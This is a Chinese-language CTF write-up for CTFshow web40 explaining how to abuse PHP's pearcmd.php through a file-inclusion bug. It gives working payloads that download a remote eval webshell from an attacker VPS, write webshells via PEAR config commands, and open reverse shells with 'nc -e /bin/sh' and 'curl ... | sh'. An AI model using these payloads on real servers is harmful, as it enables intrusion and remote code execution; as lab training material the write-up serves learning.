pear文件利用 (远程文件下载、生成配置文件、写配置文件) 从一道题看——CTFshow私教 web40

简介: pear文件利用 (远程文件下载、生成配置文件、写配置文件) 从一道题看——CTFshow私教 web40

web40

考点:pear文件包含

pear是PHP的一个扩展

条件:

1 有文件包含点
2 开启了pear扩展   (可以当他是一个框架)
3 配置文件中register_argc_argv 设置为On,而默认为Off($_SERVER[‘argv’]生效)
4 找到pear文件的位置,默认位置是/usr/local/lib/php/ 

查看phpinfo,满足条件

PEAR扩展

全称:PHP Extension and Application Repository

PEAR扩展默认安装位置是: /usr/local/lib/php/


argv是数组,argc是数字。可通过var_dump($_SERVER);语句查看

argv有独立GET之外获取参数的作用。比如传入?aaa+bbb argv(数组)两个元素是aaa和bbb。argc是数组的长度。

php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。


利用Pear扩展进行文件包含

方法一:远程文件下载(下载远程木马到本地)

?file=/usr/local/lib/php/pearcmd.php&lalala+install±R+/var/www/html/+http://vps-ip/shell.php

lalala:随便输,第一个参数没用,第二个有用
install:安装远程扩展
-R:指定安装到的目录
/var/www/html/:目录
http://vps-ip/shell.txt:从哪下载

shell.php包含:<?php eval($_POST[1]);?>


从返回信息中截取/var/www/html/后的地址,比如/var/www/html/tmp/paer/download/shell.php就截取tmp/paer/download/shell.php


payload:

?file=/usr/local/lib/php/pearcmd.php&lalala+install+-R+/var/www/html/+http://120.46.41.173/shell.php     

访问URL/tmp/paer/download/shell.php,POST 1=什么什么 进行RCE

进入/tmp/paer/download/shell.php地址,POST进行RCE。

网上另外一种包含远程文件办法:


https://blog.csdn.net/Mrs_H/article/details/122386511

payload如下(源自W4师傅)

?+install±-installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php

从上面的分析中,我们不难看出这串payload所下载的文件的保存地址在


&file=/usr/local/lib/php/pearcmd.php&/tmp/pear/download/路径下面,这里我在使用的时候会遇到一些有关配置方面的问题,因为名为&file=/usr/local/lib/php/pearcmd.php&的文件夹是新创建的,而我并没有权限对其进行写操作而导致利用失败。


但是,除此之外install命令还有另外一种利用的姿势,payload如下:


file=/usr/local/lib/php/pearcmd.php&+install±R+/tmp+http://192.168.1.9/index.php

重开环境

方法二:生成配置文件,配置项传入我们恶意的php代码的形式

配置文件中,配置项一般都是a=b形式,比如username=root

如果配置项包含恶意代码比如:man_dir=<?php eval($_POST[1]);?>

假设包含恶意代码配置文件名字叫xxx.php,如果我们能包含配置文件,那我们就能执行恶意代码了。


GET ?file=/usr/local/lib/php/pearcmd.php&±c+/tmp/ctf.php±d+man_dir=<?

php%20eval($_POST[1]);?>±s+

-c:创建一个配置文件
/tmp/ctf.php:放配置文件的临时目录
-d:增加配置项
man_dir=<?eval($_POST[1]);?>:配置项
-s:保存

hackbar会自动编码,我们用burp发包。

然后包含/tmp/ctf.php就行了。

(复现不出来,不知道哪里出问题了)

方法三:写配置文件方式

GET /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+x.php

(最后有一个空格)

vps监听端口 nc -lvvnp 9023

burp发包

访问url/x.php

POST 1=sleep 3 判断shell是否能执行

POST 1=nc vps-ip port -e /bin/sh

如果服务端没nc命令,就用平台来反弹

POST 1=curl https://your-shell.com/vps-ip:port | sh

目录
相关文章
|
2月前
|
安全 关系型数据库 MySQL
Web安全-任意文件下载漏洞
Web安全-任意文件下载漏洞
104 5
|
3月前
|
存储 SQL PHP
Ctfshow web入门 PHP特性篇 web89-web151 全(三)
Ctfshow web入门 PHP特性篇 web89-web151 全(三)
33 2
|
3月前
|
UED
JSF文件下载:解锁终极文件传输秘籍,让你的Web应用瞬间高大上!
【8月更文挑战第31天】掌握JSF文件下载功能对构建全面的Web应用至关重要。本文通过具体代码示例,详细介绍如何在JSF中实现文件下载。关键在于后端Bean中的文件读取与响应设置。示例展示了从创建实体类到使用`&lt;h:commandLink&gt;`触发下载的全过程,并通过正确设置响应头和处理文件流,确保文件能被顺利下载。这将显著提升Web应用的实用性与用户体验。
71 0
|
3月前
|
数据可视化 Python
通过python建立一个web服务查看服务器上的文本、图片、视频等文件
通过python建立一个web服务查看服务器上的文本、图片、视频等文件
68 0
|
3月前
【Azure 应用服务】部署Azure Web App时,是否可以替换hostingstart.html文件呢?
【Azure 应用服务】部署Azure Web App时,是否可以替换hostingstart.html文件呢?
|
3月前
|
JSON 数据格式
【应用服务 App Service】在Azure Web App的部署文件中,是否可以限制某些文件无法被访问?(如json)
【应用服务 App Service】在Azure Web App的部署文件中,是否可以限制某些文件无法被访问?(如json)
|
3月前
|
算法 安全 Linux
Ctfshow web入门 PHP特性篇 web89-web151 全(二)
Ctfshow web入门 PHP特性篇 web89-web151 全(二)
75 0
|
3月前
|
存储 SQL 缓存
Ctfshow web入门 PHP特性篇 web89-web151 全(一)
Ctfshow web入门 PHP特性篇 web89-web151 全(一)
83 0
|
3月前
|
JSON JavaScript 前端开发
Ctfshow web入门 nodejs篇 web334-web344
Ctfshow web入门 nodejs篇 web334-web344
53 0
|
3月前
|
前端开发 PHP 开发工具
CTFshow 信息搜集篇 web1-web20
CTFshow 信息搜集篇 web1-web20
25 0